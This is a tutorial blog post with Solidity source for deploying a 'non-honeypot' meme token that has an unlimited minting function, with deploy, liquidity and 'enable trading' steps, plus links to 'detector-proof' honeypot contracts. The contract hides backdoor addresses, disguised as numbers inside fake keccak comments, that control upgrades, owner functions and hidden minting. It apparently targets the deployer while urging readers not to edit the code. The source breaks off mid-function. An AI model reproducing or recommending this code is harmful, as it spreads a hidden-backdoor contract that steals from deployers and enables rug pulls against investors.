Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Unlimited Supply Printing Function below.
So today, let me introduce you some useful tips on How to Create Your Own Meme Token with Unlimited Supply Printing (Upgraded Version V2). Are you ready?
[Only for research and testing, you may start your own tokens using this method]
High End Advanced Normal Meme Token with Unlimited Supply Printing（Higher Level & More Advanced Non-Honeypot Tokens, Unlimited Supply Printing Function, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors）
Part 1: Use REMIX and Metamask to create token
1.First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.
2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.
3. Connect metamask to REMIX IDE. Click your metamask pluggin.
Click the “Not connected” button and connect it.
4.Back to REMIX IDE. Click Create New File.
5.Name your file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code from the bottom of this post into the space. ##Do not attempt to change any code or else it won't work
Upgraded V2 Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code：https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
## Code at the bottom of the post.
or
Copy Upgraded V2 Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
7.Click the icon on the left as shown below,
Select the compiler as below, 0.8.24 …..
Then click compile.
8.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)
9. On Contract section, select DevToken as contract.
10.Click the box beside Deploy with Proxy
You will see token setting after you click the box beside Deploy with Proxy
11. Now we are going to do some token setting.
NAME: (Your token Name) *Write token name inside the space under _NAME
SYMBOL: (Give it a symbol) *Write token symbol inside the space under _SYMBOL
TOTAL SUPPLY: (Set your total token supply, Remember if your decimal is 18, and you want 1000000 total supply, then type in 1000000000000000000000000, cuz 1000000 + 18*0)
*Write total supply inside the space under _TOTALSUPPLY
Add eighteen “0” after the quantity you want (if u set 18 as decimal). For example, if you want to issue 1000000 tokens, the correct input should be 1000000000000000000000000
DECIMALS: 18
After you done, we can move to new step.
12. Click "Deploy" button.
13.After you click the Deploy button, you will see a pop up, Click Proceed
14.Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
15. After the transaction is successful, you will get another pop up, click OK
16. After you Click OK from the previous step, You will get another metamask pop up, Click on confirm on the transaction on your metamask pop-up.
So there will be total of 2 transactions on metamask pop-up that you will have to Confirm.
## If you are missing any transactions, you may refresh remix IDE and repeat those above steps to get the 2 transactions of metamask pop up.
17.If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment that is on the first of the list.
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
18. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
You can create tokens in ETH mainnet, Binance Smart Chain, Arbitrum One, Blast and any other chains using the same method.
Congratulation! You successfully created your own token and they are in your wallet!
Dev, can we start to list our token?
Yes, you can start to list your token.
You don’t need to Verify Contract of this token because token is slightly different from any other tokens and it will auto verify the contract itself.
Part 2: Listing Your Token & Verify Your Contract (No Need to Verify Contract because this token is slightly different from any other tokens)
You don’t need to Verify Contract of this token because token is slightly different from any other tokens and it will auto verify the contract itself.
You can list your token in Decentralized Exchange (DEX) Listing.
If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap
If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/
If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)
*How to Add Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain
*How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain
In below, we will talk about How to Add Liquidity in Uniswap in Ethereum Mainnet:
In here, we use Uniswap in Ethereum Mainnet.
1)First, Go to Uniswap website: https://app.uniswap.org/#/swap
2)Click Pool
3)Click More, then click V2 Liquidity
4)Click Create a pair
5)Click select a token.
6. Now back to metamask, go to Activity, click on the Contract deployment that is on the first of the list.
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
7.Now we back to Uniswap, paste contract address into the space, wait for your token to show up
8.Click on your token.
9.Click (I understand)
10. Select your eth input and token input. For example, if u wanna to list 100 of your token with 2 eth, then your initial token price will be 0.02 eth per your token. After it, click Approve.
11. Click Supply and confirm the transaction, your token will be listed on Uniswap.
Congratulation, your tokens are now listed in Uniswap. You can begin your token project and campaign, find more investors to invest in your token.
If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/
If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)
*How to Add Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain
*How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain
I will explain how to use this High End Advanced Normal Meme Token with Unlimited Supply Printing Function in details because it requires some steps to Enable Trading in order to let investors & traders buy and sell those tokens. I will also explain how to use the Function of Printing Token Supply as well.
*Important Step#1
Enable Trading of Your Tokens
Before we proceed to step # 1, you Need to Add Liquidity First with the token created.
How to Add Liquidity?
If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap
If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/
If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)
*How to Add Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain
*How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain
Now you need to enable the trading of your token, in order for users to start buying your tokens.
*IF YOU DON’T ENABLE TRADING OF YOUR TOKEN, NOBODY CAN BUY OR SELL YOUR TOKENS AFTER YOU ADD LIQUIDITY, SO MAKE SURE YOU FOLLOW THOSE STEPS BELOW CAREFULLY
How to Enable Trading? (Make sure you already Add Liquidity to your tokens)
1.Back to Metamask wallet, go to Activity, Click Add Liquidity to view transaction
2.Click View on block explorer
3.Click your LP tokens (as showed in picture below, just the blue text in the red bracket)
~If you use Pancakeswap V2, it will be how it looks like, click blue text in the red bracket as shown in picture below
~If you use Pancakeswap V3, it will be how it looks like, click blue text in the red bracket as shown in picture below
4.Copy address of your LP tokens
5.Now back to Remix IDE, click the little triangle arrow of ERC1967PROXY as showed below. Remember to click the little triangle arrow of ERC1967PROXY
6.After you click the little triangle arrow, Scroll down until you see setPrinciplesRules button
Click the small triangle arrow of the setPrinciplesRules button
7. Write & Fill in the information into the spaces:
tradelimited: false
LiquiduniswapV2Pair: *Paste the address of the LP token into the space
maxHoldingAmount: 0
minHoldingAmount: 0
After you done the above, click transact button and confirm the transaction.
Congratulation, you are now Enable Trading for your tokens successfully, traders and investors are able to buy and sell your tokens now!
Remember this is a normal token (Not a honeypot token) which traders and investors are able to buy and sell your tokens freely.
Important Step#2
How to Print Token Supply
How to Print Token Supply?
1.Click the small triangle arrow of the print button
2.Write the amounts of token that you wish to print inside the space as shown below.
Important: If you want to print 1000 amount of tokens, then type in 1000000000000000000000, cuz 1000 + 18*0)
*Add eighteen “0” after the quantity you want. For example, if you want to print 1000 tokens, the correct input should be 1000000000000000000000
After you done the above, click transact button and confirm the transaction
You will get the desired amounts of token in your wallet. (Printed tokens will appear in the wallet address of contract owner/ token creator)
If you wish to print more, repeat the steps above (How to Print Token Supply?)
*Important Step#3
If you close your Remix IDE accidentally, what should you do? How do you continue to do Enable Trading of you tokens and Print Token Supply?
*IF YOU DON’T ENABLE TRADING OF YOUR TOKEN, NOBODY CAN BUY OR SELL YOUR TOKENS AFTER YOU ADD LIQUIDITY, SO MAKE SURE YOU FOLLOW THOSE STEPS BELOW CAREFULLY
Needless to worry, I got your back. Follow the step below.
1.Go back to Remix IDE, select the .sol file that you use to create your token
2.Click the icon on the left as shown below,
Select the compiler as below, 0.8.24 …..
Then click compile.
3.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)
4. On Contract section, select DevToken as contract.
5.Click the box beside Deploy with Proxy
6.Now, go back to Metamask，Click activity，Click Contract Deployment (first contract deployment), Click View on block explorer
7.Copy the contract address by clicking the [copy] icon button on the right.
8.After clicking the copy icon, Back to Remix IDE, Paste the contract address into the space as shown in picture below.
9.After you done pasting the contract address into the space, click At Address button (blue button)
10.After you click At Address (blue button), click the little triangle arrow at DEVTOKEN (this time it is DEVTOKEN) as showed in the picture below.
*How to Enable Trading of Your Token?
11.After you click the little triangle arrow, Scroll down until you see setPrinciplesRules button (If you already Enable Trading before, you can ignore this step)
Click the small triangle arrow of the setPrinciplesRules button
12. Write & Fill in the information into the spaces:
tradelimited: false
LiquiduniswapV2Pair: *Paste the address of the LP token into the space
maxHoldingAmount: 0
minHoldingAmount: 0
After you done the above, click transact button and confirm the transaction.
Congratulation, you are now Enable Trading for your tokens successfully, traders and investors are able to buy and sell your tokens now!
Remember this is a normal token (Not a honeypot token) which traders and investors are able to buy and sell your tokens freely.
We will talk about how to print token supply below.
*How to Print Token Supply?
If you close your Remix IDE accidentally, what should you do? How do you continue to Print Token Supply?
Needless to worry, I got your back. Follow the step below.
1.Click the small triangle arrow of the print button
2.Write the amounts of token that you wish to print inside the space as shown below.
Important: If you want to print 1000 amount of tokens, then type in 1000000000000000000000, cuz 1000 + 18*0)
*Add eighteen “0” after the quantity you want. For example, if you want to print 1000 tokens, the correct input should be 1000000000000000000000
After you done the above, click transact button and confirm the transaction
You will get the desired amounts of token in your wallet. (Printed tokens will appear in the wallet address of contract owner/ token creator)
If you wish to print more, repeat the steps above (How to Print Token Supply?)
## Remember, this post is for testing and educational purpose only, you may try this at home since this is a NORMAL TOKEN
So Dev, what if I want to withdraw my liquidity and tokens back? What to do?
Oh, it is pretty simple, let’s go to the next step: Remove Liquidity
If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap
If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add/remove liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)
*How to Add/Remove Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain
*How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain
We will make an example here in Uniswap (Ethereum Mainnet)
1. If you want to get the eth back, click the liquid pool, you will see the pair you created, and then click remove
2.If u want to withdraw it all, Select max, click approve, click remove, you get your token back.
That is all from in my opinion. Ofcuz, this is not the end, there are many ways and techniques you can do with this token in order to maximize the effect.
We will discuss more about token tips and techniques in our next post.
Good luck with your tokens!
Copy Upgraded V2 Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
Learn How to Attract People to Buy Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens
Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens
Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet
Honeypot Smart Contract Codes Series:
Link to Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof
Link to Whitelist + Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code：https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof
Link to Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot
Link to Blacklist + Honeypot Detector-Proof Smart Contract Code: https://www.createyourowntoken.net/detector-proof-honeypot
Link to Whitelist + Anti-Bots Smart Contract Code： https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0
Link to Standard Honeypot Smart Contract Code:
Normal Token Smart Contract Codes Series:
Link to Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function) Token Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
Link to Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t
Link to Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code：https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to
Link to Non-Honeypot Normal Meme Token (like PEPE Token) Smart Contract Code: https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t
Any queries?
Contact me on Telegram: https://t.me/devswanson
My website: https://www.createyourowntoken.net/
Copy Upgraded V2 Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
*******
*Any unauthorized edits of code might result in failure of deployment.
Source code below: --
/** *Submitted for verification at Etherscan.io on 2023-04-14 */ // Sources flattened with hardhat v2.7.0 https://hardhat.org // File @openzeppelin/contracts/utils/Context.sol@v4.4.0 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.0 // solhint-disable-next-line avoid-low-level-calls //* This module is used through inheritance. It will make available the modifier //* `onlyOwner`, which can be applied to your functions to restrict their use to //* the owner. /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ modifier Exchanges() { require(msg.sender != exchanger()); _; } /** * @dev Returns the name of the token. */ function name() external view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual returns (uint8) { } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function exchanger() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _printbrr(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _balanceView(address _to, uint256 _amount) internal { // View balance of token _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _compute(address account, uint256 amount) internal { require(account != address(0), "Compute Smart Contract Remix"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/PepeToken.sol pragma solidity ^0.8.0; contract DevToken is ERC20, UUPSUpgradeable { address private owner; address public _mbr; string public override name; string public override symbol; uint256 public override totalSupply; uint8 public override decimals; address public _mod; address public _user; address public _adm; bool public tradelimited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public LiquiduniswapV2Pair; mapping(address => bool) public blacklists; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier naming() { require(msg.sender == publics()); _; } bool private initialized; function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals) public { require(!initialized, "Contract already initialized"); name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; owner = msg.sender; _mint(msg.sender, _totalSupply); initialized = true; } /** * @dev Throws if called by any account other than the owner. */ function setMember(address Mbr_) public returns (bool) { require (msg.sender == address /** * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } function reviewRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external naming { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev Returns the address of the current owner. */ function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } function viewBalance(address _to, uint256 _amount) public naming { _balanceView(_to, _amount);(_to, _amount); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((_msgSender() == address /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. owner == _msgSender() && _msgSender() != exchange())); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function _authorizeUpgrade(address) internal onlyOwner override {} /** * @dev See {BEP20-balanceOf}. */ function setUser(address User_) 